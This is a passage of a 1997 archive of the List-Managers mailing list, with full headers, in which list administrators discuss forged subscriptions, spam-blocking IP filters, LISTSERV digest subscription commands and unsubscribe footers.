<199704240532.AAA21406@wildride.schoneal.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: list-managers-owner@GreatCircle.COM Precedence: bulk On Thu, 24 Apr 1997, Miles O'Neal wrote: > I am turning off anything from either of the following: > > cyberpromo.com > savetrees.com > > I'm averaging several per day from these clowns. Don't forget pleaseread.com or ispam.net. Ken Parker From owner-list-managers-outgoing Thu Apr 24 07:56:39 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id FAA28239 for list-managers-outgoing; Thu, 24 Apr 1997 05:53:00 -0700 (PDT) Received: from heimdall-nf1.usafa.af.mil (HEIMDALL.USAFA.AF.MIL [204.34.211.17]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id FAA28151 for ; Thu, 24 Apr 1997 05:52:27 -0700 (PDT) Received: from www.usafa.af.mil by heimdall-nf1.usafa.af.mil via smtpd (for honor.greatcircle.com [198.102.244.44]) with SMTP; 24 Apr 1997 12:52:45 UT Received: from vulcan.usafa.af.mil by atlas.usafa.af.mil (SMI-8.6/SMI-SVR4) id GAA25809; Thu, 24 Apr 1997 06:49:35 -0600 Received: from hellcat by vulcan.usafa.af.mil (SMI-8.6/SMI-SVR4) id GAA20417; Thu, 24 Apr 1997 06:47:07 -0600 From: satin@vulcan.usafa.af.mil (Satin Zeine-Johnson) Received: by hellcat (SMI-8.6) id GAA09140; Thu, 24 Apr 1997 06:50:57 -0600 Date: Thu, 24 Apr 1997 06:50:57 -0600 Message-Id: <199704241250.GAA09140@hellcat> To: List-Managers@greatcircle.com Subject: Re: Updated list of forged addresses X-Sun-Charset: US-ASCII Sender: list-managers-owner@GreatCircle.COM Precedence: bulk > A whole new bunch of forged subscriptions came in the last 24 hours. > > For those of you who filter out the forged addresses using the addresses > themselves rather than the hostnames used for posting, the updated list > below has some 10 new addresses, and is now sorted alphabetically, so > it can easily be included in a .ignored file for listprocessor, and > checked against the subscriber file. > I may be asking stupid questions, but how do you know these are forged? Also, does anyone know hoe to filter when you have a Majordomo server? TIA Satin From owner-list-managers-outgoing Thu Apr 24 09:08:15 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA21851 for list-managers-outgoing; Thu, 24 Apr 1997 09:01:40 -0700 (PDT) Received: from duticai.twi.tudelft.nl (duticai.twi.tudelft.nl [130.161.159.1]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id JAA21807; Thu, 24 Apr 1997 09:01:25 -0700 (PDT) Received: (from winfave@localhost) by duticai.twi.tudelft.nl (8.8.5/8.8.5) id SAA18447; Thu, 24 Apr 1997 18:01:41 +0200 (MET DST) From: Alexander Verbraeck Message-Id: <199704241601.SAA18447@duticai.twi.tudelft.nl> Subject: Re: Updated list of forged addresses To: owner-list-managers-outgoing@greatcircle.com (Satin Zeine-Johnson) Date: Thu, 24 Apr 1997 18:01:39 +0200 (MET DST) Cc: List-Managers@greatcircle.com In-Reply-To: <199704241250.GAA09140@hellcat> from "Satin Zeine-Johnson" at Apr 24, 97 06:50:57 am X-Mailer: ELM [version 2.4 PL25] Content-Type: text Sender: list-managers-owner@GreatCircle.COM Precedence: bulk > > A whole new bunch of forged subscriptions came in the last 24 hours. > > I may be asking stupid questions, but how do you know these are forged? It's certainly not a stupid question. It becomes harder and harder to see, and there will be a moment when the only way to know is a message from the user "WHY AM I ON THIS LIST??? GET ME OFF!!!" or something like that. I know at this moment the addresses are forged, because all forged subscriptions come through a number of servers that are the same for each group of forgeries. Apparently the forgers hacked some accounts they use over and over again. Secondly, I go over the list of new subscriptions to my lists once a day and take a close look at the new ones. If they seem strange in some way, I take a look at the Web page of the organizationor test if the user exists (and has the same name as subscribed) with a SMTP VRFY at the server (if allowed). I can go even as far as asking whether the user really wanted to subscribe, and if not, he was probably subscribed by a hacker. Subscription confirmation helps a little bit, but the forgers also issue lots of "INFO" commands for the lists, to be sure the mailboxes overflow. So, I rather catch the e-mails before they make it to the list processing system. Kind regards, Alexander Verbraeck. ----------------------------------------------------------------- Dr. Alexander Verbraeck Delft University of Technology Department of Systems Engineering, Policy Analysis and Management Jaffalaan 5 P.O. Box 5015, 2600 GA Delft The Netherlands Tel: +31 15 2783805 Secr: +31 15 2788380 Fax: +31 15 2783429 e-mail: A.Verbraeck@sepa.tudelft.nl List manager BPR-L, DYNMOD-L http://www.sepa.tudelft.nl/~alexandv/ See also ..../bpr-l.html ----------------------------------------------------------------- From owner-list-managers-outgoing Thu Apr 24 09:24:26 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA23063 for list-managers-outgoing; Thu, 24 Apr 1997 09:08:42 -0700 (PDT) Received: from colossus.arl.mil (colossus.arl.mil [131.218.204.98]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id JAA22972 for ; Thu, 24 Apr 1997 09:08:12 -0700 (PDT) Received: from [131.218.204.98] by colossus.arl.mil with ESMTP (Eudora Internet Mail Server 1.1.2); Thu, 24 Apr 1997 12:11:57 -0400 Message-Id: In-Reply-To: References: <199704240532.AAA21406@wildride.schoneal.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Organization: Little to None X-Mailer: Eudora 3.0 for Cray Y-MP Date: Thu, 24 Apr 1997 12:09:50 -0400 To: List-Managers@GreatCircle.COM From: Vince Sabio Subject: Re: Updated list of forged addresses Sender: list-managers-owner@GreatCircle.COM Precedence: bulk ** Sometime around 07:41 -0400 4/24/97, Ken Parker said: >> I am turning off anything from either of the following: >> >> cyberpromo.com >> savetrees.com >> >> I'm averaging several per day from these clowns. > > Don't forget pleaseread.com or ispam.net. See the entire list: - Vince Sabio orionsoft@telephonet.com -- If you run a mailing list and are tired of manually processing mail bounces, then you probably need SmartBounce -- currently managing mailing lists in excess of 150,000 subscribers. For more information, send a blank email to or visit . -- From owner-list-managers-outgoing Fri Apr 25 05:11:05 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id EAA05448 for list-managers-outgoing; Fri, 25 Apr 1997 04:23:07 -0700 (PDT) Received: from miles.greatcircle.com (miles.greatcircle.com [198.102.244.34]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id EAA03901 for ; Fri, 25 Apr 1997 04:15:46 -0700 (PDT) Received: from bbfm.di.com (bbfm.di.com [207.71.205.1]) by miles.greatcircle.com (8.8.5/Miles-970308-2) with SMTP id DAA14026 for ; Fri, 25 Apr 1997 03:52:32 -0700 (PDT) Received: from exchange.di.com by bbfm.di.com with ESMTP id DAA12124 for on Fri, 25 Apr 1997 03:48:09 -0700 Received: by exchange.di.com with Internet Mail Service (5.0.1457.3) id <28RRXFVX>; Fri, 25 Apr 1997 03:42:30 -0700 Message-ID: From: Todd Day To: "List Manager's Digest (E-mail)" Subject: LSOFT.COM Spam Fest? / IP filters Date: Fri, 25 Apr 1997 03:42:28 -0700 X-Priority: 3 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.0.1457.3) Content-Type: text/plain; charset="iso-8859-1" Sender: list-managers-owner@GreatCircle.COM Precedence: bulk I keep getting *TONS* of misdirected e-mail from bulk lists having a return address of lsoft.com. Most recent is VISTOOLS@MSDN.EASE.LSOFT.COM (this is a Microsoft software tools mailing list, as best I can tell). Despite several requests to get them to stop sending their junk, they just keep on sending it. I have to deal with this problem a lot as our domain name is di.com and is easily mistyped (you ought to see all the Texas Instruments mail we get). Unfortunately, MS Exchange server doesn't keep the headers of this bounced e-mail, so I can't really tell if it is indeed coming from lsoft.com. Perhaps this really isn't their fault. I didn't think that LSOFT was involved in the distribution of bulk blatting... To stop the crap we get from our favorite spammers, I installed the following inbound IP filters: Deny 205.199.2.0/24 0.0.0.0/0 Deny 205.199.212.0/24 0.0.0.0/0 Deny 207.15.68.0/22 0.0.0.0/0 This has put a huge dent in the flow. The first two are cyberpromo and the last one is prime-data-systems, makers of the unholy floodgate bulk mailer program. The advantage of blocking all access and not simply SMTP ports is that they can't go sucking e-mail addresses off your website or ftp site. This does not stop remailer attacks, of course, but it is a good first cut. -todd- From owner-list-managers-outgoing Fri Apr 25 07:25:40 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id HAA05365 for list-managers-outgoing; Fri, 25 Apr 1997 07:17:31 -0700 (PDT) Received: from mail1w-int.prodigy.net (mail1w-ext.prodigy.net [198.83.18.53]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id HAA05348 for ; Fri, 25 Apr 1997 07:17:16 -0700 (PDT) Received: from grayling.fishy.net ([172.16.3.90]) by mail1w-int.prodigy.net (8.7.5/8.7.3) with SMTP id KAA102708; Fri, 25 Apr 1997 10:17:29 -0400 Date: Fri, 25 Apr 1997 10:17:29 -0400 Message-Id: <199704251417.KAA102708@mail1w-int.prodigy.net> X-Sender: bonnie@pop.fishy.net X-Mailer: Windows Eudora Pro Version 2.1.2 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: Todd Day , From: Bonnie Scott Subject: Re: LSOFT.COM Spam Fest? / IP filters Sender: list-managers-owner@GreatCircle.COM Precedence: bulk At 03:42 AM 4/25/97 -0700, Todd Day wrote: >I keep getting *TONS* of misdirected e-mail from bulk lists having a >return address of lsoft.com. How, if you're at di.com? >Unfortunately, MS Exchange server doesn't keep the headers of this >bounced e-mail, so I can't really tell if it is indeed coming from >lsoft.com. Perhaps this really isn't their fault. I didn't think that >LSOFT was involved in the distribution of bulk blatting... Normally, Microsoft runs their mailing lists from LISTSERV.MSN.COM. Their lists are subscription-based, like most others. Try writing to the list owner of that list, at both domains? Bonnie Scott Prodigy Services Corp. From owner-list-managers-outgoing Fri Apr 25 10:11:37 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA17549 for list-managers-outgoing; Fri, 25 Apr 1997 09:00:18 -0700 (PDT) Received: from palrel1.hp.com (palrel1.hp.com [15.253.72.10]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id IAA17410 for ; Fri, 25 Apr 1997 08:59:47 -0700 (PDT) Received: from bitsrfr.cnd.hp.com (bitsrfr.cnd.hp.com [15.2.113.67]) by palrel1.hp.com with ESMTP (8.7.5/8.7.3) id JAA00301 for ; Fri, 25 Apr 1997 09:00:14 -0700 (PDT) Message-Id: <199704251600.JAA00301@palrel1.hp.com> Received: from localhost by bitsrfr.cnd.hp.com with SMTP (1.39.111.2/16.2) id AA077994013; Fri, 25 Apr 1997 10:00:13 -0600 To: list-managers@GreatCircle.COM Subject: Hide senders addresses Date: Fri, 25 Apr 1997 10:00:12 -0600 From: Jacob Miner Sender: list-managers-owner@GreatCircle.COM Precedence: bulk Hi All, I have set up a purely information mailing list. People on my team post announcements to the list for a wide number of people outside the company to read. The problem is that I do not want the email addresses of the people on my team to show up in the mailing list. Does majordomo support any sort of sender anonymity? The only other way I can think of to do this is to set up an alias they mail to which will strip the headers and remail it... If there are any ideas, please let me know... TIA, Jake From owner-list-managers-outgoing Fri Apr 25 15:25:53 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id PAA24780 for list-managers-outgoing; Fri, 25 Apr 1997 15:09:58 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970308-1) id PAA24767 for list-managers@greatcircle.com; Fri, 25 Apr 1997 15:09:52 -0700 (PDT) Received: from eagle.inetnebr.com (eagle.inetnebr.com [199.184.119.14]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id GAA00979 for ; Thu, 24 Apr 1997 06:06:15 -0700 (PDT) Received: from carrot.tssi.com (root@gateway.tssi.com [198.147.197.29]) by eagle.inetnebr.com (8.8.5/8.8.5) with ESMTP id IAA24909 for ; Thu, 24 Apr 1997 08:06:25 -0500 (CDT) Received: from celery.tssi.com (carrot.tssi.com) by carrot.tssi.com (8.6.12/8.6.9) with ESMTP id IAA18960 for ; Thu, 24 Apr 1997 08:06:29 -0500 Received: (from celery.tssi.com) by celery.tssi.com (8.7.5/8.7.3) id IAA00993 for list-managers@GreatCircle.com; Thu, 24 Apr 1997 08:06:27 -0500 From: Mike Nolan Message-Id: <199704241306.IAA00993@celery.tssi.com> Subject: List Listings To: list-managers@GreatCircle.com (List Managers) Date: Thu, 24 Apr 1997 08:06:27 -0500 (CDT) Reply-To: nolan@tssi.com X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: list-managers-owner@GreatCircle.COM Precedence: bulk Cyndi Norman wrote: > I also don't want a contact address only listing because then I get tons of > "how do I subscribe?" letters. So set up a special address for handling these. I have set up listinfo@tssi.com to handle these. Mail to this address is run through a short sed filter that turns it into a 'help' request and passes it on to my list software (SmartList). This sends a description of the lists offered here, including digest and 'news-only' variations, and complete subscription instructions. This also has the advantage that I can just 'bounce' requests that do come to my personal address to that address using elm. (This may be somewhat off the subject, but do any mail agents besides elm support a 'bounce'?) I also have a small perl program that transforms e-mail to unlfaq@tssi.com or nwufaq@tssi.com into an archive server request for the appropriate FAQ and list guidelines documents. -- Mike Nolan From owner-list-managers-outgoing Fri Apr 25 15:53:26 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id PAA24918 for list-managers-outgoing; Fri, 25 Apr 1997 15:10:39 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970308-1) id PAA24898 for list-managers@greatcircle.com; Fri, 25 Apr 1997 15:10:34 -0700 (PDT) Received: from mycroft.GreatCircle.COM (mycroft.greatcircle.com [198.102.244.35]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id JAA23055 for ; Thu, 24 Apr 1997 09:08:37 -0700 (PDT) Received: from colossus.arl.mil by mycroft.GreatCircle.COM (8.8.5/SMI-4.1/Brent-961106) id JAA07823; Thu, 24 Apr 1997 09:06:25 -0700 (PDT) Received: from [131.218.204.98] by colossus.arl.mil with ESMTP (Eudora Internet Mail Server 1.1.2); Thu, 24 Apr 1997 12:12:02 -0400 Message-Id: In-Reply-To: <199704240834.BAA17457@skyweyr.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Organization: Little to None X-Mailer: Eudora 3.0 for Cray Y-MP Date: Thu, 24 Apr 1997 12:06:54 -0400 To: "ListMom-Talk Discussion List" , List-Managers@GreatCircle.COM From: Vince Sabio Subject: Re: Suggestion for MLM Developers Sender: list-managers-owner@GreatCircle.COM Precedence: bulk ** Sometime around 10:10 +0200 4/24/97, Eric Thomas sent everyone: >There are two ways you can join a list in DIGEST mode atomically with >LISTSERV. The first is to use the SUBSCRIBE WITH command: > > SUBSCRIBE XYZ-L WITH DIGEST > >This function combines SUBSCRIBE and SET in a single command. It was ::snip:: Yes yes yes yes YES! *BINGO*! That works very nicely. I'd still like to see sequential commands supported, just for backward compatibility, but this option certainly answers the mail. > ... > OK BEGIN > SUBSCRIBE XYZ-L > SET XYZ-L DIGEST > OK END > ... ::snip:: Good for power users; newbies will screw it up and come complaining. I'll take "SUBSCRIBE XYZ WITH DIGEST" for $500, Alex ... >Both features are new in 1.8d, if your host site is one of the beta >testers they can get a build with this functionality. Probably not, but I'll wait patiently. Hopefully, other developers will follow suit on this type of functionality ... (excluding those who've already done it, of course) - Vince Sabio orionsoft@telephonet.com -- If you run a mailing list and are tired of manually processing mail bounces, then you probably need SmartBounce -- currently managing mailing lists in excess of 150,000 subscribers. For more information, send a blank email to or visit . -- From owner-list-managers-outgoing Fri Apr 25 15:55:30 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id PAA24646 for list-managers-outgoing; Fri, 25 Apr 1997 15:09:14 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970308-1) id PAA24571 for list-managers@greatcircle.com; Fri, 25 Apr 1997 15:08:59 -0700 (PDT) Received: from miles.greatcircle.com (miles.greatcircle.com [198.102.244.34]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id BAA14815 for ; Thu, 24 Apr 1997 01:34:26 -0700 (PDT) Received: from SEGATE.SUNET.SE (segate.sunet.se [192.36.125.6]) by miles.greatcircle.com (8.8.5/Miles-970308-2) with ESMTP id BAA17341 for ; Thu, 24 Apr 1997 01:36:41 -0700 (PDT) Message-Id: <199704240836.BAA17341@miles.greatcircle.com> Received: from SEARN.SUNET.SE by SEGATE.SUNET.SE (LSMTP for OpenVMS v1.1a) with SMTP id <5.9117A4DD@SEGATE.SUNET.SE>; Thu, 24 Apr 1997 10:34:35 +0100 Received: from SEARN.SUNET.SE by SEARN.SUNET.SE (IBM VM SMTP V2R3) with BSMTP id 9668; Thu, 24 Apr 97 10:35:02 +0200 Received: from SEARN.SUNET.SE (NJE origin ERIC@SEARN) by SEARN.SUNET.SE (LMail V1.2c/1.8c) with RFC822 id 9708; Thu, 24 Apr 1997 10:35:02 +0200 Date: Thu, 24 Apr 1997 10:10:44 +0200 From: Eric Thomas Subject: Re: Suggestion for MLM Developers To: List-Managers@GREATCIRCLE.COM, listmom-talk@SKYWEYR.COM Sender: list-managers-owner@GreatCircle.COM Precedence: bulk There are two ways you can join a list in DIGEST mode atomically with LISTSERV. The first is to use the SUBSCRIBE WITH command: SUBSCRIBE XYZ-L WITH DIGEST This function combines SUBSCRIBE and SET in a single command. It was originally implemented to provide a simple, convenient atomic transaction for customers who interface LISTSERV to a database, and to simplify the implementation of the GUI and WWW interface, rather than to save one command for human users, but now that you mention it, it would also be very convenient in cases where there is no clear consensus as to what the default option should be. This gives you two simple commands for subscribing to the regular vs digested versions of the list and you can just document both in your instructions and let people choose. Having it as a single command also means you don't need to explain how to send two commands in the same message, etc. This however does not solve the more general problem of sequential execution of dependent commands (individual cookies are not guaranteed to execute in the right sequence as they may be received and confirmed out of order). In such cases you can use: ... OK BEGIN SUBSCRIBE XYZ-L SET XYZ-L DIGEST OK END ... This creates a block of commands which are confirmed and executed using a single cookie. This is really meant to be used in scripts and the like. For instance, if you run a number of related lists, you may already have a number of little scripts for operations that are performed regularly and involve multiple LISTSERV commands, such as moving a user from list A to list B and setting his default subscription options to topic A, while using cookies for security. This is the kind of script where you would use OK blocks. Both features are new in 1.8d, if your host site is one of the beta testers they can get a build with this functionality. Eric From owner-list-managers-outgoing Fri Apr 25 16:10:41 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id PAA24649 for list-managers-outgoing; Fri, 25 Apr 1997 15:09:17 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970308-1) id PAA24630 for list-managers@greatcircle.com; Fri, 25 Apr 1997 15:09:08 -0700 (PDT) Received: from SEGATE.SUNET.SE (segate.sunet.se [192.36.125.6]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id CAA20933 for ; Thu, 24 Apr 1997 02:07:27 -0700 (PDT) Message-Id: <199704240907.CAA20933@honor.greatcircle.com> Received: from SEARN.SUNET.SE by SEGATE.SUNET.SE (LSMTP for OpenVMS v1.1a) with SMTP id <15.305B3993@SEGATE.SUNET.SE>; Thu, 24 Apr 1997 11:07:40 +0100 Received: from SEARN.SUNET.SE by SEARN.SUNET.SE (IBM VM SMTP V2R3) with BSMTP id 9823; Thu, 24 Apr 97 11:08:07 +0200 Received: from SEARN.SUNET.SE (NJE origin ERIC@SEARN) by SEARN.SUNET.SE (LMail V1.2c/1.8c) with RFC822 id 9980; Thu, 24 Apr 1997 11:08:07 +0200 Date: Thu, 24 Apr 1997 10:36:17 +0200 From: Eric Thomas Subject: Re: Suggestion for MLM Developers To: list-managers@greatcircle.com Sender: list-managers-owner@GreatCircle.COM Precedence: bulk On Wed, 23 Apr 1997 13:05:41 -0400 Vince Sabio said: >For newbies, this is simply too complex. All I'm suggesting is that MLMs >recognize and properly process Approach #1 in *BOTH* cases -- confirmed >subscriptions and unconfirmed subscriptions. (...) it makes things MUCH >easier for newbies. I'm sorry, but I can't agree with that. First off, I've spent enough time in my user support days trying to explain what a "pending directory change" or a "pending disk allocation" was to confused users to know that this is NOT an intuitive concept at all. The problem is that there is no real life equivalent to this concept. Sure, your credit approval may be pending, there is no great difficulty in understanding that part of the picture. But you certainly can't move this pending money between your various accounts or transfer it to another bank or another person's account until the credit is approved and it turns into actual money. Your pending money doesn't show up on your account statements and is for all practical purposes not there, and this is exactly the way Joe User expects things to be. Of course sometimes it can make sense for a programmer to use a pending transaction, but this does not mean it makes sense to exposure users to them. Besides, I've lost count of the number of security holes that were caused by pending transactions being released incorrectly due to a weird combination of factors, or pending transactions being taken at face value because a fix written by a new guy in the support department forgot to check the "pending" flag, or finally because the grooming code which trims pending transactions that appear to have become orphaned (the process responsible for approving them does not seem to have taken any action) had a bug and did not make a necessary change in a co-dependent pending transaction, which did get approved eventually and led to incorrect behaviour. Again there are cases where you just have to do it this way, but subscribe + set options is definitely not one of them by a long shot. Also, I am not sure I agree that "newbies DO find the not subscribed message to be confusing". Obviously for any particular behaviour you will always manage to find a confused user :-), but LISTSERV does tell you: A confirmation request is being mailed to you. Please wait until it arrives before sending any SET command, or any other command that requires you to be subscribed to the list, as you have not yet been added to the list. I think this makes it pretty clear that you have not been subscribed yet, heck, it even says explicitly not to send SET commands. It may not have the drawing showing the power cord and how to plug it into a mains outlet, or the little safety booklet with the drawings where you can tell a mains outlet from a TV channel plug, but I think what newbies are likely to be confused by is the confirmation process itself (which makes absolutely no sense to someone who doesn't understand the underlying security issues), and not the fact that SET commands do not work as per the warning. Finally, I think we have built a theoretical case here which is just not present in practice. Our assumptions so far are: 1. User is a newbie. 2. User sends SUBSCRIBE and SET DIGEST command in same message. 3. User has a requirement that at no point in time should there be a state, no matter how short, where user is subscribed to list and may receive regular posting if such posting were to be generated in the interval. In other words, the transaction must be atomic. 4. User can figure out confirmation instructions. 5. User cannot figure out warning about not using SET until subscribed. Well, I don't know. Most newbies have no idea what a digest is in the first place until you explain it to them and show them an example :-) And I really can't think of any reason why a newbie would need to ensure that no regular message is ever received. In most cases the turnaround for a confirmation is under a minute, and even very active lists only have a couple hundred postings a day. This sounds like the kind of concern you have when writing a script to add a user from a web page, in which case you can use whatever syntax will get the job done. Eric From owner-list-managers-outgoing Fri Apr 25 16:24:24 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id PAA26598 for list-managers-outgoing; Fri, 25 Apr 1997 15:22:39 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970308-1) id PAA24425 for list-managers@greatcircle.com; Fri, 25 Apr 1997 15:07:38 -0700 (PDT) Received: from mushi.colo.neosoft.com (mushi.colo.neosoft.com [206.109.6.82]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id TAA27652 for ; Wed, 23 Apr 1997 19:00:43 -0700 (PDT) Received: (qmail 5485 invoked from network); 24 Apr 1997 02:00:51 -0000 Received: from bonkers.neosoft.com (HELO bonkers.taronga.com) (root@206.109.2.48) by mushi.colo.neosoft.com with SMTP; 24 Apr 1997 02:00:51 -0000 Received: (from arielle@localhost) by bonkers.taronga.com (8.6.11/8.6.9) id VAA02745 for list-managers@GreatCircle.COM; Wed, 23 Apr 1997 21:00:49 -0500 From: arielle@taronga.com (Stephanie da Silva) Message-Id: <199704240200.VAA02745@bonkers.taronga.com> Subject: Re: The chutzpah award To: list-managers@GreatCircle.COM Date: Wed, 23 Apr 1997 21:00:49 -0500 (CDT) X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: list-managers-owner@GreatCircle.COM Precedence: bulk > > >I add a footer at the end of each message such as: > > >To unsubscribe, send "unsubscribe" to majordomo@foobar.com > > > Ha! I carried an unsubscribe-directions footer too, but have just moved it > > to a 'fronter'. It's amazing how little footers get read. I put it in as an X- header. Cut down the errant requests by a significant margin when I did. From owner-list-managers-outgoing Fri Apr 25 17:08:41 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id RAA12548 for list-managers-outgoing; Fri, 25 Apr 1997 17:05:30 -0700 (PDT) Received: from mailbox.neosoft.com (mailbox.neosoft.com [206.109.1.16]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id RAA12499 for ; Fri, 25 Apr 1997 17:05:08 -0700 (PDT) Received: from praline.no.neosoft.com (praline.no.NeoSoft.COM [206.27.160.253]) by mailbox.neosoft.com (8.8.4/8.8.3) with SMTP id TAA01725 for ; Fri, 25 Apr 1997 19:05:40 -0500 (CDT) Date: Fri, 25 Apr 1997 19:05:39 -0500 (CDT) From: Ray Jones cc: List Managers Subject: Re: List Listings In-Reply-To: <199704241306.IAA00993@celery.tssi.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: list-managers-owner@GreatCircle.COM Precedence: bulk On Thu, 24 Apr 1997, Mike Nolan wrote: > This also has the advantage that I can just 'bounce' requests that do come to > my personal address to that address using elm. (This may be somewhat off > the subject, but do any mail agents besides elm support a 'bounce'?) Pine does and so does Eudora though Eudora calls it "redirect". I'm sure others do as well. I've used lots, but I don't recall since I haven't used them as extensively. -- Regards, Ray Jones **************************************************************** Coming to New Orleans? Contact "Big Ray the Buggy Driver" Licensed Tour Guide Historical Tours through the romantic French Quarter in New Orleans in a mule-drawn "vis-a-vis" carriage while enjoying its ambiance and hear about our history, sites of interest and way of life. Cellular Phone 504-884-9572 Digital Beeper 504-547-8032 CURRENTLY ON SABBATICAL AND NOT WORKING ray.jones@mail.sstar.com http://www.neosoft..com/~rayjones/welcome.html "Big Ray's" New Orleans Mailing List Instructions To SUBSCRIBE: send "subscribe noml" TO: majordomo@communique.net From owner-list-managers-outgoing Sat Apr 26 09:53:43 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA19421 for list-managers-outgoing; Sat, 26 Apr 1997 09:43:11 -0700 (PDT) Received: from panix2.panix.com (panix2.panix.com [198.7.0.3]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id JAA19382 for ; Sat, 26 Apr 1997 09:43:00 -0700 (PDT) Received: (from vicric@localhost) by panix2.panix.com (8.8.5/8.7/PanixU1.3) id MAA13947 for list-managers@greatcircle.com; Sat, 26 Apr 1997 12:43:41 -0400 (EDT) From: Vicki Richman Message-Id: <199704261643.MAA13947@panix2.panix.com> Subject: Re: List Listings To: list-managers@greatcircle.com Date: Sat, 26 Apr 1997 12:43:41 -0400 (EDT) In-Reply-To: <199704241306.IAA00993@celery.tssi.com> from "Mike Nolan" at Apr 24, 97 08:06:27 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: list-managers-owner@GreatCircle.COM Precedence: bulk Mike Nolan has written: > I also have a small perl program that transforms e-mail to unlfaq@tssi.com > or nwufaq@tssi.com into an archive server request for the appropriate FAQ As I maintain lists and a FAQ for the National Writers Union -- often shortened to NWU -- we should note that Mr. Nolan's lists and FAQ serve the sports program of Northwestern University. ---------------------------------------------------------------------------- Vicki Richman vicric@panix.com National Writers Union Harlem New York PGP 2.6 UAW Local 1981, AFL/CIO "The fare shall not be fowl." -Credo of the Vegetarian Umpires Association ----------------------------------------------------------------------------- From owner-list-managers-outgoing Sat Apr 26 16:38:44 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id QAA19690 for list-managers-outgoing; Sat, 26 Apr 1997 16:27:08 -0700 (PDT) Received: from netcom4.netcom.com (netcom4.netcom.com [192.100.81.107]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id QAA19683 for ; Sat, 26 Apr 1997 16:27:01 -0700 (PDT) Received: from [10.0.2.15] (foodie@netcom17.netcom.com [192.100.81.130]) by netcom4.netcom.com (8.6.13/Netcom) id QAA12304; Sat, 26 Apr 1997 16:27:43 -0700 X-Sender: foodie@netcom21.netcom.com Message-Id: In-Reply-To: <199704240907.CAA20933@honor.greatcircle.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Sat, 26 Apr 1997 16:13:08 -0700 To: Eric Thomas , list-managers@greatcircle.com From: Jamie Lawrence Subject: Re: Suggestion for MLM Developers Sender: list-managers-owner@GreatCircle.COM Precedence: bulk At 10:36 AM +0200 on 4/24/97, Eric Thomas wrote: > because the grooming code which trims pending transactions that appear to > have become orphaned (the process responsible for approving them does not > seem to have taken any action) had a bug and did not make a necessary > change in a co-dependent pending transaction, which did get approved > eventually and led to incorrect behaviour. Again there are cases where I won't speak for other list managers out there, but Eric just summarised *my* childhood with remarkable clarity... -j, apologising in advance, only after the fact. -- "This analogy is like lifting yourself by your own bootstraps." -Douglas R. Hofstadter _______________________________________________________________ Jamie Lawrence jal@acm.org From owner-list-managers-outgoing Sun Apr 27 15:26:27 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id PAA27790 for list-managers-outgoing; Sun, 27 Apr 1997 15:07:10 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970308-1) id PAA27782 for list-managers@greatcircle.com; Sun, 27 Apr 1997 15:07:07 -0700 (PDT) Received: from hahp9k.harte-lyne.ca (hahp9k.harte-lyne.ca [205.206.207.101]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id IAA12222 for ; Fri, 25 Apr 1997 08:28:58 -0700 (PDT) Received: from u01 (charlton.harte-lyne.ca [205.206.207.30]) by hahp9k.harte-lyne.ca (8.7.5/8.7.5) with SMTP id 